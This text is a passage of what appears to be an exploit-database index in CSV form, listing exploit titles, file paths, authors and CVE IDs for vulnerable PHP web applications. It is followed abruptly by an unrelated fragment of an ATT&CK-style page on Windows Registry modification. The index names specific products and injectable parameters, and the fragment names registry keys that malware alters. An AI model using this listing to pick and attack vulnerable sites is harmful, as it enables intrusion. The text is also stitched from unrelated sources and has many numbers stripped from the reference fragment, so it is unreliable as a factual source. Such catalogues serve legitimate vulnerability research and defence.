Inclusion",2009-07-30,SirGod,webapps,php,,2009-07-29,,1,OSVDB-58484;CVE-2009-3508;OSVDB-58483;OSVDB-56637,,,,, 34511,exploits/php/webapps/34511.txt,"Mulitple WordPress Themes - 'admin-ajax.php?img' Arbitrary File Download",2014-09-01,"Hugo Santiago",webapps,php,80,2014-09-01,2014-09-01,1,OSVDB-109645;CVE-2015-1579;CVE-2014-9734,,,,, 50489,exploits/php/webapps/50489.txt,"Mult-e-Cart Ultimate 2.4 - 'id' SQL Injection",2021-11-03,Vulnerability-Lab,webapps,php,,2021-11-03,2021-11-03,0,,,,,, 11912,exploits/php/webapps/11912.txt,"Multi Auktions Komplett System 2 - Blind SQL Injection",2010-03-28,"Easy Laster",webapps,php,,2010-03-27,,1,CVE-2010-1270;CVE-2010-1269;OSVDB-63048,,,,, 49316,exploits/php/webapps/49316.txt,"Multi Branch School Management System 3.5 - _Create Branch_ Stored XSS",2020-12-22,"Kislay Kumar",webapps,php,,2020-12-22,2020-12-22,0,,,,,, 44016,exploits/php/webapps/44016.txt,"Multi Language Olx Clone Script - Cross-Site Scripting",2018-02-10,"Varun Bagaria",webapps,php,,2018-02-10,2018-02-10,0,CVE-2018-6845,,,,, 42771,exploits/php/webapps/42771.txt,"Multi Level Marketing - SQL Injection",2017-09-22,"Ihsan Sencan",webapps,php,,2017-09-24,2017-09-24,0,,,,,, 41280,exploits/php/webapps/41280.txt,"Multi Outlets POS 3.1 - 'id' SQL Injection",2017-02-08,"Ihsan Sencan",webapps,php,,2017-02-08,2017-02-08,0,,,,,, 48984,exploits/php/webapps/48984.txt,"Multi Restaurant Table Reservation System 1.0 - 'table_id' Unauthenticated SQL Injection",2020-11-03,yunaranyancat,webapps,php,,2020-11-03,2020-11-03,0,,,,,, 49135,exploits/php/webapps/49135.txt,"Multi Restaurant Table Reservation System 1.0 - Multiple Persistent XSS",2020-12-01,yunaranyancat,webapps,php,,2020-12-01,2020-12-01,0,,,,,, 7335,exploits/php/webapps/7335.txt,"Multi SEO phpBB 1.1.0 - Remote File Inclusion",2008-12-03,NoGe,webapps,php,,2008-12-02,2017-01-04,1,OSVDB-50410;CVE-2008-6377,,,,, 12755,exploits/php/webapps/12755.txt,"Multi Vendor Mall - 'itemdetail.php?& shop.php' SQL Injection",2010-05-26,CoBRa_21,webapps,php,,2010-05-25,,1,,,,,, 12748,exploits/php/webapps/12748.txt,"Multi Vendor Mall - 'pages.php' SQL Injection",2010-05-26,Newbie_Campuz,webapps,php,,2010-05-25,,1,,,,,, 34632,exploits/php/webapps/34632.txt,"Multi Website 1.5 - 'search' HTML Injection",2009-08-06,"599eme Man",webapps,php,,2009-08-06,2014-09-12,1,CVE-2009-3162;OSVDB-58032,,,,,https://www.securityfocus.com/bid/43245/info 9344,exploits/php/webapps/9344.txt,"Multi Website 1.5 - index PHP action SQL Injection",2009-08-03,SarBoT511,webapps,php,,2009-08-02,,1,OSVDB-56748;CVE-2009-3150,,,,, 30712,exploits/php/webapps/30712.txt,"Multi-Forums - 'Directory.php' Multiple SQL Injections",2007-10-25,KiNgOfThEwOrLd,webapps,php,,2007-10-25,2014-01-06,1,CVE-2007-5688;OSVDB-38206,,,,,https://www.securityfocus.com/bid/26213/info 14835,exploits/php/webapps/14835.txt,"Multi-lingual E-Commerce System 0.2 - Multiple Remote File Inclusions",2010-08-29,JosS,webapps,php,,2010-08-29,2010-08-29,0,CVE-2010-3210;OSVDB-67819;OSVDB-67818;OSVDB-67817;OSVDB-67816;OSVDB-67815;OSVDB-67814;OSVDB-67813;OSVDB-67812;OSVDB-67811;OSVDB-67810;OSVDB-67809;OSVDB-67808,,,,http://www.exploit-db.comgeneric-shop-0.2.tar.gz, 8480,exploits/php/webapps/8480.txt,"multi-lingual E-Commerce system 0.2 - Multiple Vulnerabilities",2009-04-20,"Salvatore Fresta",webapps,php,,2009-04-19,,1,OSVDB-56025;OSVDB-56024;OSVDB-56023,,,,, 12223,exploits/php/webapps/12223.txt,"Multi-Mirror - Arbitrary File Upload",2010-04-14,indoushka,webapps,php,,2010-04-13,,1,,,,,, 5630,exploits/php/webapps/5630.txt,"Multi-Page Comment System 1.1.0 - Insecure Cookie Handling",2008-05-15,t0pP8uZz,webapps,php,,2008-05-14,,1,OSVDB-45336;CVE-2008-2293,,,,, 50739,exploits/php/webapps/50739.txt,"Multi-Vendor Online Groceries Management System 1.0 - 'id' Blind SQL Injection",2022-02-16,"Saud Alenazi",webapps,php,,2022-02-16,2023-08-23,1,,,,,, 51394,exploits/php/webapps/51394.py,"Multi-Vendor Online Groceries Management System 1.0 - Remote Code Execution",2023-04-25,Or4nG.M4N,webapps,php,,2023-04-25,2023-04-25,0,,,,,, 4480,exploits/php/webapps/4480.pl,"MultiCart 1.0 - Blind SQL Injection",2007-10-02,k1tk4t,webapps,php,,2007-10-01,,1,OSVDB-39897;CVE-2007-5261;OSVDB-39896,,,,, 5166,exploits/php/webapps/5166.html,"MultiCart 2.0 - 'productdetails.php' SQL Injection",2008-02-20,t0pP8uZz,webapps,php,,2008-02-19,2016-11-14,1,OSVDB-41942;CVE-2008-0911,,,,, 16074,exploits/php/webapps/16074.txt,"MultiCMS - Local File Inclusion",2011-01-29,R3VAN_BASTARD,webapps,php,,2011-01-29,2011-01-29,1,,,,,,http://packetstormsecurity.org/files/view/97987/multicms-lfi.txt 41300,exploits/php/webapps/41300.txt,"Multilanguage Estate Agency Pro 1.2 - SQL Injection",2017-02-10,"Ihsan Sencan",webapps,php,,2017-02-10,2017-02-10,0,,,,,, 43917,exploits/php/webapps/43917.txt,"Multilanguage Real Estate MLM Script 3.0 - 'srch' SQL Injection",2018-01-28,"Ihsan Sencan",webapps,php,,2018-01-28,2018-01-29,0,CVE-2018-6364,,,,, 44627,exploits/php/webapps/44627.txt,"Multiplayer BlackJack Online Casino Game 2.5 - Cross-Site Scripting",2018-05-16,L0RD,webapps,php,,2018-05-16,2018-05-22,0,,,,,, 11485,exploits/php/webapps/11485.txt,"Multiple File Attachments Mail Form Pro 2.0 - Arbitrary File Upload",2010-02-17,EgoPL,webapps,php,,2010-02-16,,0,OSVDB-62397,,,,, 7346,exploits/php/webapps/7346.txt,"Multiple Membership Script 2.5 - 'id' SQL Injection",2008-12-05,ViRuS_HaCkErS,webapps,php,,2008-12-04,,1,OSVDB-50575;CVE-2008-6362,,,,, 29946,exploits/php/webapps/29946.txt,"Multiple WordPress Orange Themes - Cross-Site Request Forgery (Arbitrary File Upload)",2013-12-01,"Jje Incovers",webapps,php,,2013-12-01,2013-12-01,0,,,,,, 33851,exploits/php/webapps/33851.txt,"Multiple WordPress Plugins (TimThumb 2.8.13 / WordThumb 1.07) - 'WebShot' Remote Code Execution",2014-06-24,@u0x,webapps,php,,2014-06-25,2016-09-22,1,CVE-2014-4663;OSVDB-108398,,,http://www.exploit-db.com/screenshots/idlt34000/screen-shot-2014-06-25-at-105529.png,, 17872,exploits/php/webapps/17872.txt,"Multiple WordPress Plugins - 'timthumb.php' File Upload",2011-09-19,"Ben Schmidt",webapps,php,,2011-09-19,2016-11-08,0,CVE-2011-4106;OSVDB-84642;OSVDB-84641;OSVDB-84640;OSVDB-84577;OSVDB-84576;OSVDB-84575;OSVDB-76107;OSVDB-75645;OSVDB-75644;OSVDB-75643;OSVDB-75642;OSVDB-75641;OSVDB-75640;OSVDB-75639;OSVDB-75638;OSVDB-75637;OSVDB-75636;OSVDB-74325,"WordPress Plugin",,,, 41540,exploits/php/webapps/41540.py,"Multiple WordPress Plugins - Arbitrary File Upload",2017-03-03,"The Martian",webapps,php,,2017-03-06,2017-03-06,0,CVE-2017-1002003;CVE-2017-1002002;CVE-2017-1002001;CVE-2017-1002000;CVE-2017-6104,,,,, 37417,exploits/php/webapps/37417.php,"Multiple WordPress Themes - 'upload.php' Arbitrary File Upload",2012-06-18,"Sammy FORGIT",webapps,php,,2012-06-18,2015-06-29,1,,,,,,https://www.securityfocus.com/bid/54052/info 36611,exploits/php/webapps/36611.txt,"Multiple WordPress UpThemes Themes - Arbitrary File Upload",2015-04-02,Divya,webapps,php,80,2015-04-02,2015-04-13,0,OSVDB-121441,,,,, 35830,exploits/php/webapps/35830.txt,"Multiple WordPress WooThemes Themes - 'test.php' Cross-Site Scripting",2011-06-06,MustLive,webapps,php,,2011-06-06,2015-01-19,1,,,,,,https://www.securityfocus.com/bid/48110/info 38167,exploits/php/webapps/38167.php,"Multiple WordPress WPScientist Themes - Arbitrary File Upload",2013-01-04,JingoBD,webapps,php,,2013-01-04,2015-09-13,1,,,,,,https://www.securityfocus.com/bid/57152/info 43301,exploits/php/webapps/43301.txt,"Multiplex Movie Theater Booking Script 3.1.5 - 'moid' / 'eid' SQL Injection",2017-12-11,"Ihsan Sencan",webapps,php,,2017-12-11,2017-12-13,1,CVE-2017-17633,,,,, 16058,exploits/php/webapps/16058.txt,"MultiPowUpload 2.1 - Arbitrary File Upload",2011-01-26,DIES3L,webapps,php,,2011-01-26,2011-01-27,1,,,,,http://www.exploit-db.comElementIT.MultiPowUpload3.zip, 43299,exploits/php/webapps/43299.txt,"Multireligion Responsive Matrimonial 4.7.2 - 'succid' SQL Injection",2017-12-11,"Ihsan Sencan",webapps,php,,2017-12-11,2017-12-13,1,CVE-2017-17631,,,,, 41530,exploits/php/webapps/41530.txt,"Multireligion Responsive Matrimonial Script 4.7.1 - SQL Injection",2017-03-06,"Ihsan Sencan",webapps,php,,2017-03-06,2017-03-06,0,,,,,, 43290,exploits/php/webapps/43290.txt,"Multivendor Penny Auction Clone Script 1.0 - SQL Injection",2017-12-11,"Ihsan Sencan",webapps,php,80,2017-12-11,2017-12-13,1,CVE-2017-17621,"SQL Injection (SQLi)",,,, 34634,exploits/php/webapps/34634.txt,"Multple I-Escorts Products - 'escorts_search.php' Cross-Site Scripting",2010-09-15,"599eme Man",webapps,php,,2010-09-15,2014-09-12,1,CVE-2009-4864;OSVDB-64561,,,,,https://www.securityfocus.com/bid/43249/info 5440,exploits/php/webapps/5440.php,"Mumbo Jumbo Media OP4 - Blind SQL Injection",2008-04-13,Lidloses_Auge,webapps,php,,2008-04-12,,1,OSVDB-52759;CVE-2008-6477,,,,, 8948,exploits/php/webapps/8948.txt,"Mundi Mail 0.8.2 - 'top' Remote File Inclusion",2009-06-15,Br0ly,webapps,php,,2009-06-14,,1,OSVDB-55178;CVE-2009-2095,,,,, 10287,exploits/php/webapps/10287.txt,"MundiMail 0.8.2 - Remote Code Execution",2009-09-07,Dedalo,webapps,php,,2009-09-06,2010-07-09,1,,,,,http://www.exploit-db.commundimail-0.8.2.tar.gz,http://www.ccat.edu.mx/advisors/advisor5/advisor5.html 5933,exploits/php/webapps/5933.txt,"mUnky 0.0.1 - 'zone' Local File Inclusion",2008-06-25,StAkeR,webapps,php,,2008-06-24,2016-12-09,1,OSVDB-46799;CVE-2008-2876,,,,http://www.exploit-db.communky-bliki-0.01a.tar.gz, 32250,exploits/php/webapps/32250.py,"mUnky 0.01 - 'index.php' Remote Code Execution",2008-08-15,"Khashayar Fereidani",webapps,php,,2008-08-15,2016-12-09,1,,,,,http://www.exploit-db.communky-bliki-0.01a.tar.gz,https://www.securityfocus.com/bid/30705/info 12045,exploits/php/webapps/12045.html,"MunkyScripts Simple Gallery - SQL Injection",2010-04-04,ITSecTeam,webapps,php,,2010-04-03,,0,OSVDB-63537,,,,http://www.exploit-db.comSimpleGallery.zip, 34416,exploits/php/webapps/34416.txt,"Muraus Open Blog - Multiple HTML Injection Vulnerabilities",2010-08-05,"High-Tech Bridge SA",webapps,php,,2010-08-05,2014-08-26,1,,,,,,https://www.securityfocus.com/bid/42255/info 51289,exploits/php/webapps/51289.txt,"Music Gallery Site v1.0 - Broken Access Control",2023-04-06,"Muhammad Navaid Zafar Ansari",webapps,php,,2023-04-06,2023-05-18,1,CVE-2023-0963,,,,, 51288,exploits/php/webapps/51288.txt,"Music Gallery Site v1.0 - SQL Injection on music_list.php",2023-04-06,"Muhammad Navaid Zafar Ansari",webapps,php,,2023-04-06,2023-05-18,1,CVE-2023-0938,,,,, 51291,exploits/php/webapps/51291.txt,"Music Gallery Site v1.0 - SQL Injection on page Master.php",2023-04-06,"Muhammad Navaid Zafar Ansari",webapps,php,,2023-04-06,2023-05-18,1,CVE-2023-0962,,,,, 51290,exploits/php/webapps/51290.txt,"Music Gallery Site v1.0 - SQL Injection on page view_music_details.php",2023-04-06,"Muhammad Navaid Zafar Ansari",webapps,php,,2023-04-06,2023-05-18,1,CVE-2023-0961,,,,, 41137,exploits/php/webapps/41137.txt,"Music Site Script 1.2 - Authentication Bypass",2017-01-20,"Ihsan Sencan",webapps,php,,2017-01-20,2017-01-20,0,,,,,, 12823,exploits/php/webapps/12823.txt,"MusicBox - SQL Injection",2010-05-31,titanichacker,webapps,php,,2010-05-30,,1,,,,,, 27447,exploits/php/webapps/27447.txt,"MusicBox 2.3 - 'cart.php' Cross-Site Scripting",2006-03-18,Linux_Drox,webapps,php,,2006-03-18,2016-11-28,1,CVE-2006-1349;OSVDB-23968,,,,,https://www.securityfocus.com/bid/17149/info 27446,exploits/php/webapps/27446.txt,"MusicBox 2.3 - 'index.php' Cross-Site Scripting",2006-03-18,Linux_Drox,webapps,php,,2006-03-18,2016-11-28,1,CVE-2006-1349;OSVDB-23967,,,,,https://www.securityfocus.com/bid/17149/info 27445,exploits/php/webapps/27445.txt,"MusicBox 2.3 - 'index.php' SQL Injection",2006-03-18,Linux_Drox,webapps,php,,2006-03-18,2016-11-28,1,CVE-2005-4500;OSVDB-22272,,,,,https://www.securityfocus.com/bid/17149/info 26965,exploits/php/webapps/26965.txt,"MusicBox 2.3 - 'type' SQL Injection",2005-12-22,"Medo HaCKer",webapps,php,,2005-12-22,2016-11-28,1,CVE-2005-4500;OSVDB-22272,,,,,https://www.securityfocus.com/bid/16030/info 28262,exploits/php/webapps/28262.txt,"MusicBox 2.3.4 - 'page' SQL Injection",2006-07-24,"EllipSiS Security",webapps,php,,2006-07-24,2016-11-28,1,CVE-2006-3886;OSVDB-29059,,,,,https://www.securityfocus.com/bid/19129/info 5560,exploits/php/webapps/5560.txt,"MusicBox 2.3.7 - 'artistId' SQL Injection",2008-05-07,HaCkeR_EgY,webapps,php,,2008-05-06,2016-11-28,1,OSVDB-44833;CVE-2008-2125,,,,, 7152,exploits/php/webapps/7152.txt,"MusicBox 2.3.8 - 'viewalbums.php' SQL Injection",2008-11-18,snakespc,webapps,php,,2008-11-17,2016-11-28,1,OSVDB-44833;CVE-2008-2125,,,,, 27876,exploits/php/webapps/27876.txt,"MusicBox 2.3.8 - Multiple Vulnerabilities",2013-08-26,DevilScreaM,webapps,php,,2013-08-26,2013-08-26,0,OSVDB-96659;OSVDB-96658;OSVDB-96657;OSVDB-96656,,,,, 12002,exploits/php/webapps/12002.txt,"MusicBox 3.3 - Arbitrary File Upload",2010-04-01,indoushka,webapps,php,,2010-03-31,,1,,,,,, 12303,exploits/php/webapps/12303.pl,"MusicBox 3.3 - SQL Injection",2010-04-20,Ctacok,webapps,php,,2010-04-19,,0,OSVDB-63927;CVE-2010-1499,,,,, 17570,exploits/php/webapps/17570.txt,"MusicBox 3.7 - Multiple Vulnerabilities",2011-07-25,R@1D3N,webapps,php,,2011-07-25,2011-07-25,1,,,,,, 45830,exploits/php/webapps/45830.txt,"Musicco 2.0.0 - Arbitrary Directory Download",2018-11-13,"Ihsan Sencan",webapps,php,80,2018-11-13,2018-11-13,0,,,,,http://www.exploit-db.commusicco-2.0.0.zip, 43310,exploits/php/webapps/43310.txt,"Muslim Matrimonial Script 3.02 - 'succid' SQL Injection",2017-12-11,"Ihsan Sencan",webapps,php,,2017-12-11,2017-12-13,1,CVE-2017-17639,,,,, 4085,exploits/php/webapps/4085.txt,"Musoo 0.21 - Remote File Inclusion",2007-06-20,GoLd_M,webapps,php,,2007-06-19,,1,OSVDB-37519;CVE-2007-3297;OSVDB-37518;OSVDB-37517,,,,, 18185,exploits/php/webapps/18185.txt,"Muster Render Farm Management System - Arbitrary File Download",2011-12-01,"Nick Freeman",webapps,php,,2011-12-01,2011-12-01,0,CVE-2011-4714;OSVDB-77375,,,,, 3665,exploits/php/webapps/3665.html,"Mutant 0.9.2 - 'mutant_functions.php' Remote File Inclusion",2007-04-04,bd0rk,webapps,php,,2007-04-03,2016-09-30,1,OSVDB-37396;CVE-2007-1961,,,,http://www.exploit-db.commutant-0_9_2.tar.gz, 5262,exploits/php/webapps/5262.txt,"mutiple timesheets 5.0 - Multiple Vulnerabilities",2008-03-16,JosS,webapps,php,,2008-03-15,,1,OSVDB-43821;CVE-2008-1415;OSVDB-43820;OSVDB-43819;OSVDB-43818;OSVDB-43817;OSVDB-43247;CVE-2008-1414,,,,, 42421,exploits/php/webapps/42421.txt,"Muviko 1.0 - 'q' SQL Injection",2017-08-02,"Kaan KAMIS",webapps,php,,2017-08-03,2017-08-03,0,,,,,, 43477,exploits/php/webapps/43477.txt,"Muviko 1.1 - SQL Injection",2018-01-10,"Ahmad Mahfouz",webapps,php,,2018-01-10,2018-01-10,0,CVE-2017-17970,,,,, 41279,exploits/php/webapps/41279.txt,"Muviko Video CMS - SQL Injection",2017-02-08,"Ihsan Sencan",webapps,php,,2017-02-08,2017-02-08,0,,,,,, 45621,exploits/php/webapps/45621.txt,"MV Video Sharing Software 1.2 - 'searchname' SQL Injection",2018-10-16,"Ihsan Sencan",webapps,php,80,2018-10-16,2018-10-18,0,,"SQL Injection (SQLi)",,,http://www.exploit-db.comversion1.2.zip, 2173,exploits/php/webapps/2173.txt,"MVCnPHP 3.0 - glConf[path_libraries] Remote File Inclusion",2006-08-10,Drago84,webapps,php,,2006-08-09,,1,OSVDB-27896;CVE-2006-4160;OSVDB-27895;OSVDB-27894,,,,, 25438,exploits/php/webapps/25438.txt,"MVNForum 1.0 - Search Cross-Site Scripting",2005-04-18,"hoang yen",webapps,php,,2005-04-18,2013-05-14,1,CVE-2005-1183;OSVDB-16962,,,,,https://www.securityfocus.com/bid/13213/info 28110,exploits/php/webapps/28110.txt,"MVNForum Activatemember 1.0 - Cross-Site Scripting",2006-06-26,r0t,webapps,php,,2006-06-26,2013-09-06,1,CVE-2006-3245;OSVDB-26833,,,,,https://www.securityfocus.com/bid/18663/info 25786,exploits/php/webapps/25786.txt,"MWChat 6.7 - 'Start_Lobby.php' Remote File Inclusion",2005-06-03,Status-x,webapps,php,,2005-06-03,2013-05-28,1,,,,,,https://www.securityfocus.com/bid/13849/info 26394,exploits/php/webapps/26394.txt,"MWChat 6.8 - 'chat.php' SQL Injection",2005-05-21,rgod,webapps,php,,2005-05-21,2013-06-23,1,CVE-2005-3324;OSVDB-20266,,,,,https://www.securityfocus.com/bid/15198/info 3766,exploits/php/webapps/3766.txt,"Mx Module Smartor Album FAP 2.0 RC 1 - Remote File Inclusion",2007-04-19,bd0rk,webapps,php,,2007-04-18,,1,OSVDB-37575;CVE-2007-2189,,,,, 26284,exploits/php/webapps/26284.txt,"MX Shop 3.2 - 'index.php' Multiple SQL Injections",2005-09-19,"David Sopas Ferreira",webapps,php,,2005-09-19,2013-06-18,1,CVE-2005-3004;OSVDB-19611,,,,,https://www.securityfocus.com/bid/14876/info 5659,exploits/php/webapps/5659.txt,"MX-System 2.7.3 - 'index.php' SQL Injection",2008-05-20,cOndemned,webapps,php,,2008-05-19,,1,OSVDB-45606;CVE-2008-2477,,,,, 2919,exploits/php/webapps/2919.pl,"mxBB Module Activity Games 0.92 - Remote File Inclusion",2006-12-11,3l3ctric-Cracker,webapps,php,,2006-12-10,,1,OSVDB-32073;CVE-2006-6615,,,,, 2799,exploits/php/webapps/2799.txt,"mxBB Module calsnails 1.06 - 'mx_common.php' File Inclusion",2006-11-17,bd0rk,webapps,php,,2006-11-16,,1,OSVDB-30536;CVE-2006-6065,,,,, 2940,exploits/php/webapps/2940.txt,"mxbb module charts 1.0.0 - Remote File Inclusion",2006-12-16,ajann,webapps,php,,2006-12-15,,1,OSVDB-31233;CVE-2006-6650,,,,, 2917,exploits/php/webapps/2917.txt,"mxBB Module ErrorDocs 1.0 - 'common.php' Remote File Inclusion",2006-12-11,bd0rk,webapps,php,,2006-12-10,2016-09-16,1,OSVDB-31237;CVE-2006-6545,,,,http://www.exploit-db.commx_errordocs_v1_0_0.zip, 3833,exploits/php/webapps/3833.php,"mxBB Module FAQ & RULES 2.0.0 - Remote File Inclusion",2007-05-02,bd0rk,webapps,php,,2007-05-01,,1,OSVDB-37613;CVE-2007-2493,,,,, 2924,exploits/php/webapps/2924.txt,"mxBB Module kb_mods 2.0.2 - Remote File Inclusion",2006-12-12,3l3ctric-Cracker,webapps,php,,2006-12-11,,1,OSVDB-35760;CVE-2006-6568;OSVDB-31235;CVE-2006-6567,,,,, 2941,exploits/php/webapps/2941.txt,"mxBB Module Meeting 1.1.2 - Remote File Inclusion",2006-12-16,ajann,webapps,php,,2006-12-15,,1,OSVDB-31232;CVE-2006-6644,,,,, 3716,exploits/php/webapps/3716.pl,"mxBB Module MX Shotcast 1.0 RC2 - 'getinfo1.php' Remote File Inclusion",2007-04-12,bd0rk,webapps,php,,2007-04-11,2016-11-14,1,OSVDB-35752;CVE-2007-2313,,,,, 5323,exploits/php/webapps/5323.pl,"mxBB Module mx_blogs 2.0.0-beta - Remote File Inclusion",2008-03-30,bd0rk,webapps,php,,2008-03-29,,1,OSVDB-44396;CVE-2008-1712,,,,, 4470,exploits/php/webapps/4470.txt,"mxBB Module mx_glance 2.3.3 - Remote File Inclusion",2007-09-29,bd0rk,webapps,php,,2007-09-28,,1,OSVDB-37400;CVE-2007-5178,,,,, 2921,exploits/php/webapps/2921.txt,"mxBB Module mx_modsdb 1.0 - Remote File Inclusion",2006-12-12,Lu7k,webapps,php,,2006-12-11,2016-09-16,1,OSVDB-31236;CVE-2006-6560,,,,http://www.exploit-db.commx_modsdb_v1_0_0.zip, 2885,exploits/php/webapps/2885.txt,"mxBB Module mx_tinies 1.3.0 - Remote File Inclusion",2006-12-02,bd0rk,webapps,php,,2006-12-01,,1,OSVDB-31238;CVE-2006-6295,,,,, 2925,exploits/php/webapps/2925.pl,"mxBB Module newssuite 1.03 - Remote File Inclusion",2006-12-12,3l3ctric-Cracker,webapps,php,,2006-12-11,,1,OSVDB-31234;CVE-2006-6553,,,,, 3018,exploits/php/webapps/3018.txt,"mxBB Module pafiledb 2.0.1b - Remote File Inclusion",2006-12-26,bd0rk,webapps,php,,2006-12-25,,1,,,,,, 2904,exploits/php/webapps/2904.txt,"mxBB Module Profile CP 0.91c - Remote File Inclusion",2006-12-09,bd0rk,webapps,php,,2006-12-08,,1,OSVDB-33263;CVE-2006-6566,,,,, 2939,exploits/php/webapps/2939.txt,"mxBB Module WebLinks 2.05 - Remote File Inclusion",2006-12-16,ajann,webapps,php,,2006-12-15,,1,OSVDB-35719;CVE-2006-6645,,,,, 29270,exploits/php/webapps/29270.txt,"MXBB Profile Control Panel 0.91c - Module Remote File Inclusion",2006-12-09,bd0rk,webapps,php,,2006-12-09,2013-10-29,1,,,,,,https://www.securityfocus.com/bid/21520/info 7136,exploits/php/webapps/7136.txt,"mxCamArchive 2.2 - Bypass Configuration Download",2008-11-17,ahmadbady,webapps,php,,2008-11-16,,1,OSVDB-49887;CVE-2008-6956;OSVDB-49886;CVE-2008-6955,,,,, 27230,exploits/php/webapps/27230.txt,"My Blog 1.63 - BBCode HTML Injection",2006-02-15,"Aliaksandr Hartsuyeu",webapps,php,,2006-02-15,2013-07-31,1,CVE-2006-0735;OSVDB-23179,,,,,https://www.securityfocus.com/bid/16659/info 42645,exploits/php/webapps/42645.txt,"My Builder Marketplace 1.0 - SQL Injection",2017-09-09,"Ihsan Sencan",webapps,php,,2017-09-10,2017-09-10,0,,,,,, 40987,exploits/php/webapps/40987.txt,"My Click Counter 1.0 - Authentication Bypass",2017-01-03,Adam,webapps,php,,2017-01-03,2017-01-03,1,,,,,http://www.exploit-db.commy_click_counter_v1.0.zip, 30152,exploits/php/webapps/30152.txt,"My Databook - 'diary.php?delete' SQL Injection",2007-06-04,Serapis.net,webapps,php,,2007-06-04,2013-12-09,1,CVE-2007-3063;OSVDB-38384,,,,,https://www.securityfocus.com/bid/24311/info 30153,exploits/php/webapps/30153.txt,"My Databook - 'diary.php?year' Cross-Site Scripting",2007-06-04,Serapis.net,webapps,php,,2007-06-04,2013-12-09,1,CVE-2007-3064;OSVDB-38385,,,,,https://www.securityfocus.com/bid/24311/info 8385,exploits/php/webapps/8385.txt,"My Dealer CMS 2.0 - Authentication Bypass",2009-04-09,"ThE g0bL!N",webapps,php,,2009-04-08,,1,OSVDB-53605,,,,, 44777,exploits/php/webapps/44777.txt,"My Directory 2.0 - SQL Injection / Cross-Site Scripting",2018-05-27,AkkuS,webapps,php,,2018-05-27,2018-05-27,0,,,,,, 8676,exploits/php/webapps/8676.txt,"My Game Script 2.0 - Authentication Bypass",2009-05-14,"ThE g0bL!N",webapps,php,,2009-05-13,,1,OSVDB-54459;CVE-2009-1816,,,,, 5401,exploits/php/webapps/5401.txt,"My Gaming Ladder 7.5 - 'ladderid' SQL Injection",2008-04-07,t0pP8uZz,webapps,php,,2008-04-06,2016-11-21,1,OSVDB-44411;CVE-2008-1791,,,,, 1707,exploits/php/webapps/1707.pl,"My Gaming Ladder Combo System 7.0 - Remote Code Execution",2006-04-22,nukedx,webapps,php,,2006-04-21,,1,OSVDB-24892;CVE-2006-2002,,,,,http://www.nukedx.com/?viewdoc= 41838,exploits/php/webapps/41838.txt,"My Gaming Ladder Combo System 7.5 - SQL Injection",2017-04-07,"Ihsan Sencan",webapps,php,,2017-04-07,2017-04-07,0,,,,,, 26153,exploits/php/webapps/26153.txt,"My Image Gallery 1.4.1 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities",2005-08-16,anonymous,webapps,php,,2005-08-16,2013-06-13,1,CVE-2005-2603;OSVDB-18741,,,,,https://www.securityfocus.com/bid/14570/info 14326,exploits/php/webapps/14326.txt,"My Kazaam Address & Contact ORGanizer - SQL Injection",2010-07-10,v3n0m,webapps,php,,2010-07-10,2010-07-10,0,CVE-2010-4982;OSVDB-76977,,,,http://www.exploit-db.comaben101703.zip, 14325,exploits/php/webapps/14325.txt,"My Kazaam Notes Management System - Multiple Vulnerabilities",2010-07-10,"L0rd CrusAd3r",webapps,php,,2010-07-10,2010-07-10,1,CVE-2010-4985;CVE-2010-4984;OSVDB-76978,,,,http://www.exploit-db.comsqln120203.zip, 41010,exploits/php/webapps/41010.txt,"My Link Trader 1.1 - 'id' SQL Injection",2017-01-11,"Dawid Morawski",webapps,php,,2017-01-11,2017-01-12,1,,,,,"http://www.exploit-db.comMy Link Trader v1.1.zip", 40998,exploits/php/webapps/40998.txt,"My Link Trader 1.1 - Authentication Bypass",2017-01-07,"Ihsan Sencan",webapps,php,,2017-01-09,2017-01-09,1,,,,,"http://www.exploit-db.comMy Link Trader v1.1.zip", 11616,exploits/php/webapps/11616.txt,"My Little Forum - 'contact.php' SQL Injection",2010-03-02,"Easy Laster",webapps,php,,2010-03-01,2012-05-10,1,OSVDB-65131;CVE-2010-2133,,,http://www.exploit-db.com/screenshots/idlt12000/screen-shot-2012-05-10-at-81527-pm.png,http://www.exploit-db.commy_little_forum_1.7.6.zip, 23473,exploits/php/webapps/23473.txt,"My Little Forum 1.3 - 'email.php' Cross-Site Scripting",2003-12-23,"David
|
files_exploits.csv
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interact with the Registry through the Windows API. Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via Reg or other utilities using the Win32 API. [2] Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence. [3] [4] The Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. [5] Often Valid Accounts are required, along with access to the remote system's SMB/Windows Admin Shares for RPC communication. ID: T Sub-techniques: No sub-techniques Tactic: Defense Evasion Platforms: Windows Permissions Required: Administrator, SYSTEM, User Data Sources: File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs Defense Bypassed: Host forensic analysis CAPEC ID: CAPEC- Contributors: Bartosz Jerzman; David Lu, Tripwire; Travis Smith, Tripwire Version: 1. Created: 31 May Last Modified: 29 March Version Permalink Live Version Procedure Examples Name Description ADVSTORESHELL ADVSTORESHELL is capable of setting and deleting Registry values.[14] APT APT19 uses a Port 22 malware variant to modify several Registry keys.[54] APT APT32's backdoor has modified the Windows Registry to store the backdoor's configuration. [61] APT APT38 uses a tool called CLEANTOAD that has the capability to modify Registry keys.[56] APT APT41 used a malware variant called GOODLUCK to modify the registry in order to steal credentials.[64] BACKSPACE BACKSPACE is capable of deleting Registry keys, sub-keys, and values on a victim system.[8] BADCALL BADCALL modifies the firewall Registry key SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfileGloballyOpenPorts\List.[11] Bankshot Bankshot writes data into the Registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Pniumj.[45] Cardinal RAT Cardinal RAT sets HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load to point to its executable.[37] Catchamas Catchamas creates three Registry keys to establish persistence by adding a New Service.[18] CHOPSTICK CHOPSTICK may store RC4 encrypted configuration information in the Windows Registry.[41] DarkComet DarkComet adds a Registry value for its installation routine to the Registry Key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System Enable LUA="0" and HKEY_CURRENT_USER\Software\DC3_FEXEC.[34][35] Dragonfly 2. Dragonfly 2.0 modified the Registry to perform multiple techniques through the use of Reg.[53] Exaramel for Windows Exaramel for Windows adds the configuration to the Registry in XML format.[36] FELIXROOT FELIXROOT deletes the Registry key HKCU\Software\Classes\Applications\rundll32.exe\shell\open.[38] FIN 